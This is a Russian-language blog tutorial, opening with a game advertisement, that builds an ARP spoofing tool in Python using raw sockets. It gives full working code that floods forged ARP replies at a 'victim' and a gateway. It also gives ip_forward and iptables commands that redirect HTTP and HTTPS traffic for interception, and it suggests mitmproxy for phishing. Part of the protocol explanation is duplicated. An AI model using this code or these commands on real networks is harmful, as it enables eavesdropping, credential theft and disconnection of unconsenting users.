Прежде чем перейти к статье, хочу вам представить, экономическую онлайн игру Brave Knights, в которой вы можете играть и зарабатывать. Регистируйтесь, играйте и зарабатывайте!
Введение
В данной статье я бы хотел продемонстрировать то, как можно реализовать собственную программу ARP-спуфинга на Python. Реализаций уже тысячи, но почти все они с использованием библиотеки Scapy и пары методов. Возможно данную библиотеку использовать эффективнее, не спорю, но мне было интересно реализовать самому с помощью сокетов и я бы хотел поведать читателям о том, как это делается.
Предполагается, что Вы уже знакомы с тем, как работает ARP-протокол и его недостатком, если нет, то советую прочитать вот эту статью.
Я не являюсь высококвалифицированным специалистом Информационной Безопасности, поэтому прошу тапками не кидать, а любые неточности оговорить в комментариях.
Немного теории
Начнем с того, что код протокола — \x08\x06 и работает он на втором уровне OSI, то есть канальном.
Затем необходимо ознакомиться с телом его пакета, чтобы знать, что отправлять. На википедии оно очень хорошо расписано:
Тело пакета
Hardware type (HTYPE)
Каждый канальный протокол передачи данных имеет свой номер, который хранится в этом поле. Например, Ethernet имеет номер 0x0001.
Protocol type (PTYPE)
Код сетевого протокола. Например, для IPv4 будет записано 0x0800.
Hardware length (HLEN)
Длина физического адреса в байтах. Адреса Ethernet имеют длину 6 байт (0x06).
Protocol length (PLEN)
Длина логического адреса в байтах. IPv4 адреса имеют длину 4 байта (0x04).
Operation
Код операции отправителя: 0x0001 в случае запроса и 0x0002 в случае ответа.
Sender hardware address (SHA)
Физический адрес отправителя.
Sender protocol address (SPA)
Логический адрес отправителя.
Target hardware address (THA)
Физический адрес получателя. Поле пусто при запросе.
Target protocol address (TPA)
Логический адрес получателя.
Каждый канальный протокол передачи данных имеет свой номер, который хранится в этом поле. Например, Ethernet имеет номер 0x0001.
Protocol type (PTYPE)
Код сетевого протокола. Например, для IPv4 будет записано 0x0800.
Hardware length (HLEN)
Длина физического адреса в байтах. Адреса Ethernet имеют длину 6 байт (0x06).
Protocol length (PLEN)
Длина логического адреса в байтах. IPv4 адреса имеют длину 4 байта (0x04).
Operation
Код операции отправителя: 0x0001 в случае запроса и 0x0002 в случае ответа.
Sender hardware address (SHA)
Физический адрес отправителя.
Sender protocol address (SPA)
Логический адрес отправителя.
Target hardware address (THA)
Физический адрес получателя. Поле пусто при запросе.
Target protocol address (TPA)
Логический адрес получателя.
На первый взгляд может показаться сложно, но если разобраться, то проблем возникнуть не должно.
И так, первое — Hardware Type (Тип Оборудование) у нас это Ethernet, значит код будет 0x0001 или \x00\x01, Protocol Type (Тип протокола) — IPv4, кодируется как \x08\x00; затем идут длина типа оборудования и протокола \x06\x04, а то есть 6 и 4 байтов.
И на конце у нас код операции, который в случае запроса \x00\x01, а в случае ответ \x00\x02 и физические/логические адреса отправителя/получателя.
Реализация
В первую очередь необходимо объявить экземпляр сокета и задать необходимые параметры:
import socket
import time
interface = "wlan0" # Прослушиваемый сетевой интерфейс
mac = b"\xbb\xbb\xbb\xbb\xbb\xbb" # Наш MAC-адрес, он же bb:bb:bb:bb:bb:bb
gateway_ip = socket.inet_aton("192.168.1.1") # IP-адрес шлюза
gateway_mac = b"\xaa\xaa\xaa\xaa\xaa\xaa" # MAC-адрес шлюза
victim_ip = socket.inet_aton("192.168.1.2") # IP-адрес жертвы
victim_mac = b"\xcc\xcc\xcc\xcc\xcc\xcc" # MAC-адрес жертвы
connect = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.htons(0x0800))
connect.bind((interface, socket.htons(0x0800)))
Исходя из того, что ARP это протокол второго уровня OSI, мы используем первым параметром socket.PF_PACKET. Также для работы программы Вам будут нужны права root.
Метод socket.htons() преобразовывает 16-битные натуральные числа в сетевой порядок байтов.
Метод socket.inet_aton() преобразовывает IPv4 адреса в 32-битный двоичный формат.
Также я объявил необходимые переменные.
Следующий этап — формирование пакета:
arp_code = b'\x08\x06' # Код протокола
htype = b'\x00\x01' # Hardware Type
ptype = b'\x08\x00' # Protocol Type
hlen = b'\x06' # Hardware Length
plen = b'\x04' # Protocol Length
operation = b'\x00\x02' # Operation Code - Ответ
protocol = htype + ptype + hlen + plen + operation # Собранное тело
# Две части пакетов ниже указывают от кого, кому и по какому протоколу отсылать данные
eth_packet_1 = victim_mac + mac + arp_code
eth_packet_2 = gateway_mac + mac + arp_code
# Окончательные пакеты для жертвы и шлюза
# 4 переменные после протокола это 4 последних значения из спойлера, которые мы не разобрали
request_victim = eth_packet_1 + protocol + mac + gateway_ip + victim_mac + victim_ip
request_gateway = eth_packet_2 + protocol + mac + victim_ip + gateway_mac + gateway_ip
# Отправка поддельных пакетов
while True:
connect.send(request_victim)
connect.send(request_gateway)
time.sleep(1)
Сейчас мы разобрали только саму программу, но если вы хотите не только отключать пользователей от шлюза, но и подменивать/нюхать пакеты, то для этого нужно будет включить переадресацию в ip_forward:
echo 1 > /proc/sys/net/ipv4/ip_forward
А также настроить маршрутизацию пакетов через iptables:
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-port 8080
Если Вы хотите провести фишинг, то лучше всего подойдет утилита mitmproxy.
Просмотреть проходящий через Вас трафик можно утилитой tcpdump.
Также у себя на GitHub я опубликовал скрипт, предназначенный для отключения всех или некоторых узлов от шлюза — github.com/secwayz/netbuster
В результате написания программы я обнаружил, то что даже при коде операции 0x0001 (запрос) и со всеми параметрами из ответа(они немного отличаются), жертва все равно принимает пакет и меняет MAC-адрес в ARP-таблице, при этом стабильность атаки и стойкость этой записи значительно повышаются. Я предполагаю, что это еще один недостаток протокола, при котором сетевой интерфейс не игнорирует неверно составленный пакет, а обрабатывает его и перезаписывает таблицу.